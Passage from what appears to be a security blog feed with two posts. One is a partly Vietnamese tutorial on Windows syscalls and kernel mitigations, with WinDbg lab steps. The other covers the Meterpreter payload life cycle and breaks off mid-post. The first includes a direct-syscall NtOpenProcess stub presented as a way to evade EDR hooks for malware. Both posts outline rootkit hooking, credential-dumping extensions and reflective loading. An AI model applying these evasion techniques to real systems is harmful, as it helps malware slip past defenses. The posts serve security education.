&lt;li&gt;&lt;code&gt;KiSystemCallExit&lt;/code&gt; restores user-mode context&lt;/li&gt;
&lt;li&gt;CPU switches back về Ring 3&lt;/li&gt;
&lt;li&gt;Execution continues trong ntdll.dll&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;System Call Numbers&lt;/h2&gt;
&lt;p&gt;Mỗi kernel function có unique &lt;strong&gt;syscall number&lt;/strong&gt; (còn gọi là system service number). Những numbers này:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Version-specific&lt;/strong&gt; (change between Windows versions)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Architecture-specific&lt;/strong&gt; (different cho x86 vs x64)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Undocumented&lt;/strong&gt; by Microsoft&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Ví dụ Syscall Numbers (Windows 11 23H2 x64)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Syscall Number&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;NtCreateFile&lt;/td&gt;
&lt;td&gt;0x55&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtReadFile&lt;/td&gt;
&lt;td&gt;0x06&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtWriteFile&lt;/td&gt;
&lt;td&gt;0x08&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtOpenProcess&lt;/td&gt;
&lt;td&gt;0x26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtAllocateVirtualMemory&lt;/td&gt;
&lt;td&gt;0x18&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NtProtectVirtualMemory&lt;/td&gt;
&lt;td&gt;0x50&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Tại sao Syscall Numbers quan trọng?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cho Offensive Research:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Direct syscalls&lt;/strong&gt; bypass user-mode hooks (EDR/AV)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hell&apos;s Gate&lt;/strong&gt; technique dynamically resolves syscall numbers&lt;/li&gt;
&lt;li&gt;Understanding SSDT giúp trong kernel exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Practical Implication:&lt;/strong&gt;
Hầu hết EDR/AV solutions hook user-mode APIs (kernel32.dll, ntdll.dll). Bằng cách call syscalls directly, malware có thể evade những hooks này hoàn toàn.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Processor Rings và Privilege Levels&lt;/h2&gt;
&lt;p&gt;Architecture x86/x64 định nghĩa &lt;strong&gt;4 privilege rings&lt;/strong&gt; (Ring 0-3), nhưng Windows chỉ dùng hai:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│         Ring 0 (Kernel Mode)        │
│   Highest Privilege - Full Access   │
│                                     │
│  ┌─────────────────────────────┐   │
│  │   Ring 1 (Unused)           │   │
│  │                             │   │
│  │  ┌─────────────────────┐   │   │
│  │  │ Ring 2 (Unused)     │   │   │
│  │  │                     │   │   │
│  │  │  ┌─────────────┐   │   │   │
│  │  │  │   Ring 3    │   │   │   │
│  │  │  │ (User Mode) │   │   │   │
│  │  │  │  Lowest     │   │   │   │
│  │  │  │  Privilege  │   │   │   │
│  │  │  └─────────────┘   │   │   │
│  │  └─────────────────────┘   │   │
│  └─────────────────────────────┘   │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Current Privilege Level (CPL)&lt;/strong&gt; được stored trong CS register:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CPL = 0&lt;/strong&gt;: Kernel mode&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPL = 3&lt;/strong&gt;: User mode&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Privilege Checks&lt;/h3&gt;
&lt;p&gt;CPU automatically enforces privilege checks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Attempting to execute privileged instruction trong user mode
// Sẽ cause #GP (General Protection Fault)

__asm {
    cli    // Clear Interrupt Flag - privileged instruction
}
// Result: Exception 0x0D (EXCEPTION_PRIVILEGED_INSTRUCTION)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Syscall Instruction Deep Dive (x64)&lt;/h2&gt;
&lt;p&gt;Modern 64-bit Windows sử dụng &lt;strong&gt;SYSCALL/SYSRET&lt;/strong&gt; instruction pair cho fast system calls, thay thế slower &lt;code&gt;int 0x2E&lt;/code&gt; mechanism.&lt;/p&gt;
&lt;h3&gt;SYSCALL Mechanism&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;MSR Registers (Model-Specific Registers):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IA32_LSTAR   (0xC0000082): Entry point (KiSystemCall64)
IA32_STAR    (0xC0000081): Code segment selectors
IA32_FMASK   (0xC0000084): RFLAGS mask
IA32_KERNEL_GS_BASE (0xC0000102): Kernel GS base
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Khi SYSCALL executes:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;RCX ← RIP&lt;/code&gt; (save return address)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;R11 ← RFLAGS&lt;/code&gt; (save flags)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RIP ← IA32_LSTAR&lt;/code&gt; (jump vào &lt;code&gt;KiSystemCall64&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CS ← IA32_STAR[47:32]&lt;/code&gt; (load kernel code segment)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SS ← IA32_STAR[47:32] + 8&lt;/code&gt; (load kernel stack segment)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CPL ← 0&lt;/code&gt; (switch sang Ring 0)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RFLAGS ← RFLAGS &amp;amp; ~IA32_FMASK&lt;/code&gt; (mask flags)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;SYSRET Return Mechanism&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;; Return từ kernel về user mode
sysret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Khi SYSRET executes:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;RIP ← RCX&lt;/code&gt; (restore return address)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RFLAGS ← R11&lt;/code&gt; (restore flags)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CS ← IA32_STAR[63:48] + 16&lt;/code&gt; (restore user code segment)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SS ← IA32_STAR[63:48] + 8&lt;/code&gt; (restore user stack segment)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CPL ← 3&lt;/code&gt; (switch về Ring 3)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Practical Implications cho Security Research&lt;/h2&gt;
&lt;h3&gt;1. Direct Syscalls để EDR Evasion&lt;/h3&gt;
&lt;p&gt;Hầu hết EDR/AV products hook user-mode APIs. Bằng cách invoke syscalls directly, bạn có thể bypass những hooks này:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Traditional approach (hooked bởi EDR)
#include &amp;lt;windows.h&amp;gt;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);

// Direct syscall approach (bypasses hooks)
typedef NTSTATUS (NTAPI *pNtOpenProcess)(
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID ClientId
);

// Manually craft syscall stub
__asm {
    mov r10, rcx
    mov eax, 0x26        // NtOpenProcess syscall number
    syscall
    ret
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Techniques:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hell&apos;s Gate&lt;/strong&gt;: Dynamically resolve syscall numbers từ ntdll.dll&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Halo&apos;s Gate&lt;/strong&gt;: Handle hooked syscalls bằng cách tìm nearby clean stubs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SysWhispers&lt;/strong&gt;: Pre-generate syscall stubs cho all Windows versions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Understanding Kernel Entry Points&lt;/h3&gt;
&lt;p&gt;Biết kernel entry mechanism giúp trong:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel shellcode phải restore proper state trước khi return&lt;/li&gt;
&lt;li&gt;Understanding &lt;code&gt;KPCR&lt;/code&gt; (Kernel Processor Control Region) structure&lt;/li&gt;
&lt;li&gt;Proper syscall number usage trong exploits&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Rootkit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hooking &lt;code&gt;KiSystemCall64&lt;/code&gt; cho system-wide API monitoring&lt;/li&gt;
&lt;li&gt;SSDT hooking (System Service Descriptor Table)&lt;/li&gt;
&lt;li&gt;IDT hooking cho interrupt interception&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Memory Layout Implications&lt;/h3&gt;
&lt;p&gt;Memory split có consequences quan trọng:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;64-bit Windows (x64):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User Space:   0x0000000000000000 - 0x00007FFFFFFFFFFF (128 TB)
Kernel Space: 0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF (128 TB)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Cho Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User-mode pointers phải được validated trong kernel (ProbeForRead/ProbeForWrite)&lt;/li&gt;
&lt;li&gt;Failure to validate = arbitrary kernel write vulnerability&lt;/li&gt;
&lt;li&gt;SMEP (Supervisor Mode Execution Prevention) prevents executing user-mode code từ kernel context&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Lab Exercise: Tracing System Calls với WinDbg&lt;/h2&gt;
&lt;p&gt;Hãy perform một practical exercise để observe system calls in action.&lt;/p&gt;
&lt;h3&gt;Setup Requirements&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Windows 11 VM&lt;/strong&gt; (target machine)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WinDbg Preview&lt;/strong&gt; (debugger trên host)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kernel debugging enabled&lt;/strong&gt; trên VM&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Enable Kernel Debugging&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Trên target VM (Administrator)
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 1: View System Call in Action&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Break into kernel debugger&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Debug → Break (Ctrl+Break)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Set breakpoint trên NtCreateFile&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; bp nt!NtCreateFile
kd&amp;gt; g
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Trên target VM, create một file&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Trên target VM
notepad.exe
# File → Save → Type filename → Click Save
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Khi breakpoint hits, examine call stack&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; k
# 0 nt!NtCreateFile
# 1 nt!KiSystemCall64Shadow
# 2 nt!KiSystemCall64
# 3 ntdll!NtCreateFile + 0x14
# 4 kernelbase!CreateFileW + 0x66
# 5 notepad!SaveFile + 0x1a2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Examine syscall number trong RAX&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; r rax
rax=0000000000000055    # NtCreateFile syscall number
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 6: View parameters&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dq @rcx L1    # FileHandle
kd&amp;gt; dq @rdx L1    # DesiredAccess
kd&amp;gt; dt nt!_OBJECT_ATTRIBUTES @r8    # ObjectAttributes
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exercise 2: Enumerate All Syscalls&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;View SSDT (System Service Descriptor Table):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; dq nt!KeServiceDescriptorTable L2
# fffff800`12345678  fffff800`12abc000   # ServiceTableBase
# fffff800`12345680  0000000000000000   # ServiceCounterTableBase
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resolve syscall numbers sang function names:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;kd&amp;gt; !reload
kd&amp;gt; dps nt!KiServiceTable L4
# fffff800`12abc000  nt!NtAccessCheck
# fffff800`12abc008  nt!NtWorkerFactoryWorkerReady
# fffff800`12abc010  nt!NtAcceptConnectPort
# fffff800`12abc018  nt!NtMapUserPhysicalPagesScatter
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Modern Mitigations&lt;/h2&gt;
&lt;h3&gt;SMEP (Supervisor Mode Execution Prevention)&lt;/h3&gt;
&lt;p&gt;Được giới thiệu trong Windows 8, SMEP prevents kernel từ việc executing user-mode code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CR4 register bit 20 = 1 → SMEP enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Impact trên Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel exploits không thể simply jump vào shellcode trong user-mode&lt;/li&gt;
&lt;li&gt;Requires ROP (Return-Oriented Programming) trong kernel space&lt;/li&gt;
&lt;li&gt;Hoặc disabling SMEP (requires arbitrary write vào CR4)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;SMAP (Supervisor Mode Access Prevention)&lt;/h3&gt;
&lt;p&gt;Được giới thiệu trong Windows 10 RS3, SMAP prevents kernel từ việc accessing user-mode memory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CR4 register bit 21 = 1 → SMAP enabled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Impact trên Exploitation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel không thể dereference user-mode pointers without explicit override&lt;/li&gt;
&lt;li&gt;Requires sử dụng ProbeForRead/ProbeForWrite APIs&lt;/li&gt;
&lt;li&gt;More careful exploit primitive construction&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;HVCI (Hypervisor-Protected Code Integrity)&lt;/h3&gt;
&lt;p&gt;Còn được gọi là Memory Integrity, sử dụng virtualization để protect kernel code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kernel code pages được marked read-only via hypervisor EPT (Extended Page Tables)&lt;/li&gt;
&lt;li&gt;Attempts to modify kernel code trigger VM exits&lt;/li&gt;
&lt;li&gt;Defeats hầu hết traditional kernel hooking techniques&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; HVCI là một trong những mitigations mạnh nhất của Windows hiện đại. Nó leverage hardware virtualization (VT-x/AMD-V) để create một trusted execution environment. Understanding HVCI là critical cho modern kernel exploit development.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Common Misconceptions&lt;/h2&gt;
&lt;h3&gt;Misconception 1: &quot;Syscalls chậm&quot;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Reality:&lt;/strong&gt; Modern &lt;code&gt;syscall&lt;/code&gt; instruction cực kỳ fast (~50-100 CPU cycles). Overhead đến từ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parameter validation&lt;/li&gt;
&lt;li&gt;Context saving/restoring&lt;/li&gt;
&lt;li&gt;Actual kernel work được performed&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Misconception 2: &quot;Tất cả kernel functions start với Nt&quot;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Reality:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Nt*&lt;/code&gt; functions là native API exported bởi ntoskrnl.exe&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Zw*&lt;/code&gt; versions giống hệt nhưng perform previous mode checks&lt;/li&gt;
&lt;li&gt;Internal kernel functions dùng various prefixes (Ke, Mm, Io, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Misconception 3: &quot;Direct syscalls luôn bypass EDR&quot;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Reality:&lt;/strong&gt; Modern EDRs có thể detect direct syscalls thông qua:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Call stack analysis (missing ntdll.dll frames)&lt;/li&gt;
&lt;li&gt;Syscall origin checks (executing từ unusual memory)&lt;/li&gt;
&lt;li&gt;Behavioral detection (suspicious API patterns)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Wrapup&lt;/h2&gt;
&lt;p&gt;Understanding Windows architecture - đặc biệt là user/kernel mode boundary và system call mechanism - là fundamental cho tất cả advanced Windows security research. Knowledge này forms nền tảng cho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exploit development&lt;/strong&gt;: Understanding privilege boundaries và attack surfaces&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malware development&lt;/strong&gt;: Implementing evasion thông qua direct syscalls&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability research&lt;/strong&gt;: Identifying weaknesses trong syscall interface&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reverse engineering&lt;/strong&gt;: Comprehending system behavior ở lowest level&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Knowledge về Windows architecture này là foundation cho advanced exploitation techniques, malware development, và vulnerability research.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Books:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Windows Internals, Part 1 &amp;amp; 2&lt;/strong&gt; (7th Edition) - Mark Russinovich, David Solomon, Alex Ionescu&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Kernel Programming&lt;/strong&gt; - Pavel Yosifovich&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rootkits and Bootkits&lt;/strong&gt; - Alex Matrosov, Eugene Rodionov, Sergey Bratus&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Documentation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/&quot;&gt;Windows kernel-mode driver architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/system-service-descriptor-table&quot;&gt;System Service Descriptor Table&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jthuraisamy/SysWhispers&quot;&gt;SysWhispers&lt;/a&gt; - Syscall generation framework&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/winsiderss/systeminformer&quot;&gt;System Informer&lt;/a&gt; - System exploration tool&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://apps.microsoft.com/detail/9PGJGD53TN86&quot;&gt;WinDbg Preview&lt;/a&gt; - Modern Windows debugger&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Meterpreter Life Cycle</title><link>https://wanderlens.vercel.app/posts/meterpreterlifecycle/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/meterpreterlifecycle/</guid><description>Deep dive into Meterpreter: architecture, lifecycle, reflective loading, detection, and OPSEC.</description><pubDate>Mon, 28 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;This post walks through the life cycle of a Meterpreter payload—from generation to execution—highlighting its core components, how extensions expand capabilities, and why modern defenses often detect it. We will also clarify key terminology used throughout.&lt;/p&gt;
&lt;h1&gt;Components&lt;/h1&gt;
&lt;p&gt;Windows Meterpreter is primarily built around reflective DLLs—dynamic link libraries that can be loaded directly into memory without touching disk. This in‑memory approach improves stealth and reduces the chance of detection by traditional antivirus.
At the heart of Meterpreter lies its core component, &lt;strong&gt;Metsrv&lt;/strong&gt;. This module manages network communications, loads extensions, and coordinates foundational operations. On its own, however, Metsrv offers limited offensive capabilities.
To unlock the full potential of Meterpreter, &lt;strong&gt;extensions&lt;/strong&gt; must be loaded. These modules expand functionality—keylogging, screen capture, file system manipulation, and more. Without extensions, Meterpreter is largely a shell with minimal practical use.&lt;/p&gt;
&lt;h1&gt;Extensions&lt;/h1&gt;
&lt;p&gt;Extensions are additional reflective DLLs loaded into the same process to expand a Meterpreter session (no new processes, nothing written to disk). Examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdapi&lt;/code&gt;: interact with the OS and file system (cd, ls, netstat, arp, and more)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;extapi&lt;/code&gt;: WMI and ADSI support; interact with the clipboard and services&lt;/li&gt;
&lt;li&gt;&lt;code&gt;priv&lt;/code&gt;: privilege escalation to SYSTEM; dump SAM&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kiwi&lt;/code&gt;: Mimikatz features&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bofloader&lt;/code&gt;: load COFF/BOF files&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Loading Extensions&lt;/h1&gt;
&lt;p&gt;Extensions follow the &quot;ext_server_*.dll&quot; naming convention.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;elevator&lt;/code&gt; is a reflective DLL used by the &lt;code&gt;priv&lt;/code&gt; extension&lt;/li&gt;
&lt;li&gt;&lt;code&gt;screenshot&lt;/code&gt; is a reflective DLL used by the &lt;code&gt;stdapi&lt;/code&gt; extension
&lt;img src=&quot;image.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Btw—reality check: Meterpreter can be noisy.
Consider:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Executables generated by Metasploit are often blocked by AVs.&lt;/li&gt;
&lt;li&gt;Meterpreter’s shellcode initialization patterns are detected and blocked by EDRs.&lt;/li&gt;
&lt;li&gt;Even if it runs, memory scans and YARA rules can easily spot a Meterpreter agent in process memory.
When Meterpreter was created, it filled an important need: a post‑exploitation tool better than traditional shells. Over time, defenses improved and priorities shifted.
We face challenges like this:
&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;
Nowadays it’s hard to use public tools out‑of‑the‑box (including Meterpreter). Security mechanisms have improved, so the offensive side must adapt.
If your toolset is easily blocked by automated solutions:&lt;/li&gt;
&lt;li&gt;You cannot demonstrate impact.&lt;/li&gt;
&lt;li&gt;You cannot assess efficacy.&lt;/li&gt;
&lt;li&gt;You cannot train and improve security teams.
We can ask clients to temporarily allow tools in some assessments, but that often slows things down. Instead of abandoning Meterpreter, let’s adapt and learn. Even if we end up not using Meterpreter, the lessons will transfer to other tools.
In the next sections, we analyze a Meterpreter payload’s life—from generation to execution.
&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;
First, let’s align on a few key concepts and general payload terminology.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Terminology&lt;/h1&gt;
&lt;h2&gt;Exploit &amp;amp; Payload&lt;/h2&gt;
&lt;p&gt;The terms &quot;exploit&quot; and &quot;payload&quot; are often conflated. They are separate:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Exploit: the process that abuses a vulnerability&lt;/li&gt;
&lt;li&gt;Payload: code that runs after exploitation to achieve specific results
With memory corruption, the payload is typically shellcode (a byte sequence of assembly instructions). For other vulnerability classes, payloads take different forms:&lt;/li&gt;
&lt;li&gt;SQL Injection: SQL that lists database tables&lt;/li&gt;
&lt;li&gt;XSS: JavaScript structured in a specific way&lt;/li&gt;
&lt;li&gt;Broken access control: a specially crafted HTTP request&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;In-memory Payload&lt;/h2&gt;
&lt;p&gt;We focus on scenarios where you can execute code (shellcode) in memory—e.g., MS17‑010, running malicious executables, or post‑exploitation techniques like process injection. Meterpreter and many MSF modules run in memory thanks to reflective DLLs (reflective DLL injection):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reflective DLLs are easier to develop than handwritten shellcode&lt;/li&gt;
&lt;li&gt;Similar execution processes can be reused across a reflective DLL toolset&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Reflective DLL Injection&lt;/h1&gt;
&lt;p&gt;Technique for in‑memory execution of unmanaged/native DLL files (and sometimes EXE files). This is not specific to MSF/Meterpreter. Modern frameworks often implement agents as reflective DLLs (and use reflective PE injection) to help evade security controls.&lt;/p&gt;
&lt;h1&gt;Architecture &amp;amp; Data Flow&lt;/h1&gt;
&lt;h2&gt;Metsrv, TLV, and Transports&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Metsrv: session loop, transport management, and extension loading.&lt;/li&gt;
&lt;li&gt;TLV protocol: Type–Length–Value framing for requests/responses (e.g., stdapi file operations) that works over any transport.&lt;/li&gt;
&lt;li&gt;Transports: TCP and HTTP/HTTPS are common; named pipes/DNS appear via modules. HTTPS provides cover (proxies/CDNs) at a small cost in overhead.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Extension Model&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Extensions are reflective DLLs loaded by Metsrv to register new TLV endpoints.&lt;/li&gt;
&lt;li&gt;Initialization typically exports a small registration routine that binds commands to handlers.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Session Lifecycle&lt;/h1&gt;
&lt;h2&gt;Staged vs. Stageless&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Staged: a minimal loader pulls Metsrv (stage2) over the network; smaller initial artifact but more network indicators and more ways to break.&lt;/li&gt;
&lt;li&gt;Stageless: a single, self‑contained agent; larger artifact but fewer moving parts and often more stable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Generation → Delivery → Execution&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Generation: choose OS/arch/transport, staged vs. stageless, C2 profile, and packing/obfuscation.&lt;/li&gt;
&lt;li&gt;Delivery: exploit, phishing, living‑off‑the‑land, or lateral movement.&lt;/li&gt;
&lt;li&gt;Execution: reflective DLL injection, process injection (CreateRemoteThread/APC/Thread Hijack), or child‑process spawn with arguments.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Reflective Loader Internals (deeper)&lt;/h1&gt;
&lt;p&gt;Typical steps inside a reflective loader:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parse PE headers, allocate image, copy headers/sections; zero‑fill VirtualSize gaps.&lt;/li&gt;
&lt;li&gt;Resolve imports (incl. forwarders); patch IAT; handle delay‑loads when present.&lt;/li&gt;
&lt;li&gt;Apply relocations if not loaded at preferred base.&lt;/li&gt;
&lt;li&gt;Honor TLS callbacks before EntryPoint.&lt;/li&gt;
&lt;li&gt;Set final memory protections per section characteristics (avoid RWX).&lt;/li&gt;
&lt;li&gt;Transfer control to DllMain/WinMain/main as applicable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Detection &amp;amp; Evasion Details&lt;/h1&gt;
&lt;ul&gt;
